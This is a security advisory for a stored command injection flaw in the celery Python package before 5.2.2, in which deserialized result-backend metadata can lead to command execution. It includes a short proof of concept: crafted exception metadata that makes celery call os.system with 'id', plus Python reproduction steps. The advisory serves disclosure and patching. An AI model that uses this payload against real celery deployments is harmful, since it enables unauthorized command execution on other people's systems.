Stored Command Injection Affecting celery package, versions [,5.2.2)

Affected versions of this package are vulnerable to Stored Command Injection. It by default trusts the messages and metadata stored in backends (result stores). When reading task metadata from the backend, the data is deserialized. Given that an attacker can gain access to, or somehow manipulate the metadata within a celery backend, they could trigger a stored command injection vulnerability and potentially gain further access to the system.

PoC

Example of modified metadata as stored in the result stores:

'status': 'FAILURE',
'result': json.dumps({
  'exc_module': 'os',
  'exc_type': 'system',
  'exc_message': 'id'
  })
}

Reproduction steps in a Python shell:

from celery.backends.base import Backend
from celery import Celery
b = Backend(Celery())
exc = {'exc_module':'os',  'exc_type':'system', 'exc_message':'id'}
b.exception_to_python(exc)

The result would be an output of os.system('id').

• Celery Changelog